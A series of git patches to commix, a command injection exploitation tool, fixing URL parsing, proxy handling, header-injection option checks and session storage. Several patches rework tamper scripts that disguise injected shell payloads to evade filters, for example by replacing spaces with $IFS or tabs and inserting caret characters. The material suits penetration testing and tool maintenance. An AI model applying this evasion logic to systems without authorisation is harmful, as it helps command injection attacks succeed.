https://github.com/commixproject/commix/issues/963 --- src/utils/menu.py | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/utils/menu.py b/src/utils/menu.py index 18f9721f78..f57151b6c3 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -539,6 +539,7 @@ def banner(): "used to customize the detection phase.") detection.add_option("--level", + type="int", dest="level", default=False, help="Level of tests to perform (1-3, Default: " + str(settings.DEFAULT_INJECTION_LEVEL) + ").") diff --git a/src/utils/settings.py b/src/utils/settings.py index 104c069396..ec39b307f3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "96" +REVISION = "97" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a319b99bb9c3fb5a18f411f57dee810957410874 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 3 Oct 2024 08:14:09 +0300 Subject: [PATCH 497/560] Fixes https://github.com/commixproject/commix/issues/949 --- src/core/injections/controller/checks.py | 95 +++++++++++++----------- src/core/main.py | 4 +- src/utils/settings.py | 2 +- 3 files changed, 55 insertions(+), 46 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 59cf81bfde..0cd485b136 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -730,33 +730,6 @@ def url_decode(payload): payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) return payload -""" -Checking connection (resolving hostname). -""" -def check_connection(url): - hostname = _urllib.parse.urlparse(url).hostname or '' - if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", hostname): - if not any((menu.options.proxy, menu.options.tor, menu.options.offline)): - try: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Resolving hostname '" + hostname + "'." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - socket.getaddrinfo(hostname, None) - except socket.gaierror: - err_msg = "Host '" + hostname + "' does not exist." - if not settings.MULTI_TARGETS: - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - except socket.error: - err_msg = "Problem occurred while " - err_msg += "resolving a host name '" + hostname + "'" - except UnicodeError: - err_msg = "Problem occurred while " - err_msg += "handling a host name '" + hostname + "'" - if not settings.MULTI_TARGETS: - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - """ Check current assessment phase. """ @@ -1063,34 +1036,45 @@ def check_CGI_scripts(url): else: common.invalid_option(shellshock_check) pass - if not _: menu.options.shellshock = False +def check_url(url): + try: + return _urllib.parse.urlsplit(url) + except ValueError as ex: + err_msg = "Invalid target URL has been given. " + err_msg += "Please be sure that you don't have any leftover characters (e.g. '[' or ']') " + err_msg += "in the hostname part." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + """ Check if http / https. """ def check_http_s(url): + url_split = check_url(url) + if url_split.username and url_split.password and "@" in url_split.netloc: + url = url.replace(url_split.netloc,url_split.netloc.split("@")[1]) + if settings.SINGLE_WHITESPACE in url: url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) + if not menu.options.proxy and (_urllib.parse.urlparse(url).hostname in ("localhost", "127.0.0.1") or menu.options.ignore_proxy): + menu.options.ignore_proxy = True + if settings.CHECK_INTERNET: url = settings.CHECK_INTERNET_ADDRESS else: - try: - if re.search(r'^(?:http)s?://', url, re.I): - if not re.search(r"^https?://", url, re.I) and not re.search(r"^wss?://", url, re.I): - if re.search(r":443\b", url): - url = "https://" + url - else: - url = "http://" + url - settings.SCHEME = (_urllib.parse.urlparse(url).scheme.lower() or "http") if not menu.options.force_ssl else "https" - else: - err_msg = "Invalid target URL has been given." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - except ValueError as err: - err_msg = "Problem occurred while parsing target URL." + if re.search(r'^(?:http)s?://', url, re.I): + if not re.search(r"^(http|ws)s?://", url, re.I): + if re.search(r":443\b", url): + url = "https://" + url + else: + url = "http://" + url + settings.SCHEME = (url_split.scheme.strip().lower() or "http") if not menu.options.force_ssl else "https" + else: + err_msg = "Invalid target URL has been given. " settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1102,6 +1086,33 @@ def check_http_s(url): return url +""" +Checking connection (resolving hostname). +""" +def check_connection(url): + hostname = _urllib.parse.urlparse(url).hostname or '' + if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", hostname): + if not any((menu.options.proxy, menu.options.tor, menu.options.offline)): + try: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Resolving hostname '" + hostname + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + socket.getaddrinfo(hostname, None) + except socket.gaierror: + err_msg = "Host '" + hostname + "' does not exist." + if not settings.MULTI_TARGETS: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + except socket.error: + err_msg = "Problem occurred while " + err_msg += "resolving a host name '" + hostname + "'" + except UnicodeError: + err_msg = "Problem occurred while " + err_msg += "handling a host name '" + hostname + "'" + if not settings.MULTI_TARGETS: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + """ Force the user-defined operating system. """ diff --git a/src/core/main.py b/src/core/main.py index 2529345212..e4360a9590 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -702,10 +702,8 @@ def main(filename, url, http_request_method): raise SystemExit() if not menu.options.proxy: - if _urllib.parse.urlparse(menu.options.url).hostname in ("localhost", "127.0.0.1") or menu.options.ignore_proxy: - menu.options.ignore_proxy = True # Check if defined Tor (--tor option). - elif menu.options.tor: + if menu.options.tor: if menu.options.tor_port: settings.TOR_HTTP_PROXY_PORT = menu.options.tor_port menu.options.proxy = settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT diff --git a/src/utils/settings.py b/src/utils/settings.py index ec39b307f3..830218c508 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "97" +REVISION = "98" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 9fc625e7c01694cefa66ba301a63a2d6791cc2ae Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 10 Oct 2024 08:34:05 +0300 Subject: [PATCH 498/560] Fixes https://github.com/commixproject/commix/issues/952 --- src/core/tamper/base64encode.py | 2 +- src/core/tamper/hexencode.py | 2 +- src/core/tamper/space2htab.py | 10 ++++++---- src/core/tamper/space2ifs.py | 23 ++++++++++++----------- src/core/tamper/space2plus.py | 12 +++++++----- src/core/tamper/space2vtab.py | 20 +++++++++++--------- src/utils/settings.py | 9 +++++---- 7 files changed, 43 insertions(+), 35 deletions(-) diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 59d19e14cb..f55496ab4b 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -29,7 +29,7 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - if settings.WHITESPACES[0] == "+": + if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE): err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index b07d076d2b..3aac4fe9b6 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -29,7 +29,7 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - if settings.WHITESPACES[0] == "+": + if len(settings.WHITESPACES) != 0 and settings.WHITESPACES[0] == _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE): err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index c5409e067a..00bb24e5b1 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -14,6 +14,7 @@ """ from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib """ About: Replaces space character ('%20') with horizontal tab ('%09') @@ -28,10 +29,11 @@ def tamper(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = space2htab - elif space2htab not in settings.WHITESPACES: - settings.WHITESPACES.append(space2htab) + if len(settings.WHITESPACES) != 0: + if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): + settings.WHITESPACES[0] = space2htab + elif space2htab not in settings.WHITESPACES: + settings.WHITESPACES.append(space2htab) return payload # eof \ No newline at end of file diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 3d459537fc..65a79a4167 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -14,6 +14,7 @@ """ from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib """ About: Replaces space character ('%20') with the internal field separator ('$IFS'). @@ -29,18 +30,18 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - if space2ifs in settings.WHITESPACES[0] and \ - settings.EVAL_BASED_STATE != False: - settings.WHITESPACES[0] = space2ifs - if settings.TARGET_OS != settings.OS.WINDOWS: - settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.WHITESPACES[0] == "%20": + if len(settings.WHITESPACES) != 0: + if space2ifs in settings.WHITESPACES[0] and settings.EVAL_BASED_STATE != False: settings.WHITESPACES[0] = space2ifs - elif space2ifs not in settings.WHITESPACES: - settings.WHITESPACES.append(space2ifs) - else: - if space2ifs in settings.WHITESPACES: - settings.WHITESPACES.remove(space2ifs) + if settings.TARGET_OS != settings.OS.WINDOWS: + settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): + settings.WHITESPACES[0] = space2ifs + elif space2ifs not in settings.WHITESPACES: + settings.WHITESPACES.append(space2ifs) + else: + if space2ifs in settings.WHITESPACES: + settings.WHITESPACES.remove(space2ifs) return payload # eof diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index c18e9cab9e..ce3ec4c88e 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -14,6 +14,7 @@ """ from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib """ About: Replaces space character ('%20') with plus ('+'). @@ -21,17 +22,18 @@ """ __tamper__ = "space2plus" -space2plus = "+" +space2plus = _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = space2plus - elif space2plus not in settings.WHITESPACES: - settings.WHITESPACES.append(space2plus) + if len(settings.WHITESPACES) != 0: + if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): + settings.WHITESPACES[0] = space2plus + elif space2plus not in settings.WHITESPACES: + settings.WHITESPACES.append(space2plus) return payload # eof \ No newline at end of file diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index 8e689afd41..bdb7688f12 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -14,6 +14,7 @@ """ from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib """ About: Replaces space character ('%20') with vertical tab ('%0b'). @@ -27,15 +28,16 @@ settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = space2vtab - elif space2vtab not in settings.WHITESPACES: - settings.WHITESPACES.append(space2vtab) - else: - if space2vtab in settings.WHITESPACES: - settings.WHITESPACES.remove(space2vtab) + if len(settings.WHITESPACES) != 0: + if settings.TARGET_OS == settings.OS.WINDOWS: + settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): + settings.WHITESPACES[0] = space2vtab + elif space2vtab not in settings.WHITESPACES: + settings.WHITESPACES.append(space2vtab) + else: + if space2vtab in settings.WHITESPACES: + settings.WHITESPACES.remove(space2vtab) return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 830218c508..7d9a9b7b13 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "98" +REVISION = "99" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -549,11 +549,12 @@ class OS(object): # Raw payload (without tampering) RAW_PAYLOAD = "" -# The default (url-ecoded) white-space. -WHITESPACES = ["%20"] - +# Single whitespace SINGLE_WHITESPACE = " " +# The default (url-ecoded) white-space. +WHITESPACES = [_urllib.parse.quote(SINGLE_WHITESPACE)] + # Reference: http://www.w3.org/Protocols/HTTP/Object_Headers.html#uri URI_HTTP_HEADER = "URI" From d233b3c579ccd599e7d7fabac6edd0186391e472 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 14 Oct 2024 08:05:54 +0300 Subject: [PATCH 499/560] Fixes https://github.com/commixproject/commix/issues/966 --- src/core/injections/controller/controller.py | 12 ++++++------ src/utils/settings.py | 2 +- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 0701ea9be0..e8ad20afbb 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -478,18 +478,18 @@ def host_injection(url, http_request_method, filename, timesec): else: # User-Agent HTTP header injection if settings.USER_AGENT_INJECTION or \ - menu.options.test_parameter and settings.USER_AGENT.lower() in menu.options.test_parameter.lower() or \ - menu.options.skip_parameter and settings.USER_AGENT.lower() not in menu.options.skip_parameter.lower(): + (type(menu.options.test_parameter) is str and settings.USER_AGENT.lower() in menu.options.test_parameter.lower()) or \ + (type(menu.options.skip_parameter) is str and settings.USER_AGENT.lower() not in menu.options.skip_parameter.lower()): user_agent_injection(url, http_request_method, filename, timesec) # Referer HTTP header injection if settings.REFERER_INJECTION or \ - menu.options.test_parameter and settings.REFERER.lower() in menu.options.test_parameter.lower() or \ - menu.options.skip_parameter and settings.REFERER.lower() not in menu.options.skip_parameter.lower(): + (type(menu.options.test_parameter) is str and settings.REFERER.lower() in menu.options.test_parameter.lower()) or \ + (type(menu.options.skip_parameter) is str and settings.REFERER.lower() not in menu.options.skip_parameter.lower()): referer_injection(url, http_request_method, filename, timesec) # Host HTTP header injection if settings.HOST_INJECTION or \ - menu.options.test_parameter and settings.HOST.lower() in menu.options.test_parameter.lower() or \ - menu.options.skip_parameter and settings.HOST.lower() not in menu.options.skip_parameter.lower(): + (type(menu.options.test_parameter) is str and settings.HOST.lower() in menu.options.test_parameter.lower()) or \ + (type(menu.options.skip_parameter) is str and settings.HOST.lower() not in menu.options.skip_parameter.lower()): host_injection(url, http_request_method, filename, timesec) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 7d9a9b7b13..cdeadfc894 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "99" +REVISION = "100" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8de41bdc7ae2d4e7c14fe0eea55bd6ba3be16b90 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 19 Oct 2024 08:27:36 +0300 Subject: [PATCH 500/560] Fixes https://github.com/commixproject/commix/issues/967 --- src/core/tamper/caret.py | 20 ++++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index cc965b166b..9eb272a0f3 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -35,16 +35,16 @@ def add_caret_symbol(payload): long_string = "" if len(max(re.compile(r"\w+").findall(payload), key=lambda word: len(word))) >= 5000: long_string = max(re.compile(r"\w+").findall(payload), key=lambda word: len(word)) - rep = { - "^^": "^", - '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', - '^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"', - re.sub(r'([b-zD-Z])', r'^\1', long_string) : long_string.replace("^", "") - } - payload = re.sub(r'([b-zD-Z])', r'^\1', payload) - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) + rep = { + "^^": "^", + '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', + '^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"', + re.sub(r'([b-zD-Z])', r'^\1', long_string) : long_string.replace("^", "") + } + payload = re.sub(r'([b-zD-Z])', r'^\1', payload) + rep = dict((re.escape(k), v) for k, v in rep.items()) + pattern = re.compile("|".join(rep.keys())) + payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) return payload if settings.TARGET_OS == settings.OS.WINDOWS: diff --git a/src/utils/settings.py b/src/utils/settings.py index cdeadfc894..da02ec8321 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "100" +REVISION = "101" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3814f6cc63b9bdf34ee9db388afbd499aca93764 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 21 Oct 2024 08:22:11 +0300 Subject: [PATCH 501/560] Fixes https://github.com/commixproject/commix/issues/969 --- src/core/injections/controller/handler.py | 4 ++-- src/utils/session_handler.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index c9c2325528..68d23ce25c 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -394,7 +394,7 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t if not settings.LOAD_SESSION: shell = "" checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) - session_handler.import_injection_points(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=settings.INJECTION_LEVEL) + session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=settings.INJECTION_LEVEL) else: whitespace = settings.WHITESPACES[0] if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: @@ -643,7 +643,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec # Export session if not settings.LOAD_SESSION: checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) - session_handler.import_injection_points(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) + session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, exec_time=0, output_length=0, is_vulnerable=settings.INJECTION_LEVEL) else: whitespace = settings.WHITESPACES[0] cmd = maxlen = "" diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 28c885b2c7..252caf7719 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -101,7 +101,7 @@ def clear(url): """ Import successful injection points to session file. """ -def import_injection_points(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): +def import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): try: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ip" + \ diff --git a/src/utils/settings.py b/src/utils/settings.py index da02ec8321..e596cb04cd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "101" +REVISION = "102" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3504196126b7bbb2bfa895f0a486b446aac7714b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 22 Oct 2024 08:10:51 +0300 Subject: [PATCH 502/560] https://github.com/commixproject/commix/issues/971 --- src/core/requests/parameters.py | 3 +++ src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index cb0b594c22..cc40128cf5 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -188,6 +188,7 @@ def vuln_GET_param(url): elif re.search(r"" + settings.PARAMETER_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, url) or \ re.search(r"\?(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , url): pairs = url.split("?")[1].split(settings.PARAMETER_DELIMITER) + pairs[:] = [param for param in pairs if any(value in param for value in ["="])] for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] @@ -493,6 +494,7 @@ def vuln_POST_param(parameter, url): if re.search(r"" + settings.PARAMETER_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, parameter) or \ re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , parameter): pairs = parameter.split(settings.PARAMETER_DELIMITER) + pairs[:] = [param for param in pairs if any(value in param for value in ["="])] for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] @@ -706,6 +708,7 @@ def specify_cookie_parameter(cookie): if re.search(r"" + settings.COOKIE_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \ re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , cookie): pairs = cookie.split(settings.COOKIE_DELIMITER) + pairs[:] = [param for param in pairs if any(value in param for value in ["="])] for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] diff --git a/src/utils/settings.py b/src/utils/settings.py index e596cb04cd..c2f44aa63d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "102" +REVISION = "103" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 56c063835a332800a300185561977edb9bccf212 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 23 Oct 2024 07:30:52 +0300 Subject: [PATCH 503/560] Minor bug-fix --- src/core/injections/controller/checks.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0cd485b136..b3c7ea1676 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -114,6 +114,7 @@ def payload_fixation(payload): return payload """ +Get response output """ def get_response(output): request = _urllib.request.Request(output) @@ -3160,7 +3161,7 @@ def use_bin_subdir(nc_alternative, shell): return nc_alternative, shell elif enable_bin_subdir in settings.CHOICE_NO: return nc_alternative, shell - elif enable_bin_dir in settings.CHOICE_QUIT: + elif enable_bin_subdir in settings.CHOICE_QUIT: raise SystemExit() else: common.invalid_option(enable_bin_subdir) diff --git a/src/utils/settings.py b/src/utils/settings.py index c2f44aa63d..3ed0f120d0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "103" +REVISION = "104" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c92510d8671d5ce0f721f7211ffea398a8ca862e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 24 Oct 2024 07:43:58 +0300 Subject: [PATCH 504/560] Fixes https://github.com/commixproject/commix/issues/970 --- src/core/injections/controller/checks.py | 6 +++++- src/core/injections/controller/injector.py | 8 ++++---- src/core/injections/controller/shell_options.py | 6 +++--- .../semiblind/techniques/tempfile_based/tfb_handler.py | 1 + src/utils/settings.py | 2 +- 5 files changed, 14 insertions(+), 9 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index b3c7ea1676..c5008d4329 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -93,7 +93,11 @@ def check_waf(url, http_request_method): Check injection technique(s) status. """ def injection_techniques_status(): - if settings.CLASSIC_STATE != True and settings.EVAL_BASED_STATE != True and settings.TIME_BASED_STATE != True and settings.FILE_BASED_STATE != True: + if settings.CLASSIC_STATE != True and \ + settings.EVAL_BASED_STATE != True and \ + settings.TIME_BASED_STATE != True and \ + settings.FILE_BASED_STATE != True and \ + settings.TEMPFILE_BASED_STATE != True : return False else: return True diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 3746fd81c6..f9c038f027 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -175,7 +175,7 @@ def time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitesp def results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique): def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique): - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.TIME_BASED: from src.core.injections.results_based.techniques.classic import cb_payloads as payloads elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: from src.core.injections.results_based.techniques.eval_based import eb_payloads as payloads @@ -183,12 +183,12 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques from src.core.injections.semiblind.techniques.file_based import fb_payloads as payloads if alter_shell: - if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED and technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: payload = payloads.cmd_execution_alter_shell(separator, TAG, cmd) else: payload = payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) else: - if technique != settings.INJECTION_TECHNIQUE.FILE_BASED: + if technique != settings.INJECTION_TECHNIQUE.FILE_BASED and technique != settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: payload = payloads.cmd_execution(separator, TAG, cmd) else: payload = payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) @@ -443,7 +443,7 @@ def injection_test_results(response, TAG, randvcalc, technique): """ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): - if technique == settings.INJECTION_TECHNIQUE.CLASSIC: + if technique == settings.INJECTION_TECHNIQUE.CLASSIC or technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: try: import html unescape = html.unescape diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index fc15dc13d7..ed6900ca84 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -50,7 +50,7 @@ def check_established_connection(): def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique): if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - from src.core.injections.results_based.techniques.eval_based import eb_injector as injection + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector # Command execution results. start = time.time() response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) @@ -61,9 +61,9 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_ else: # Command execution results. start = 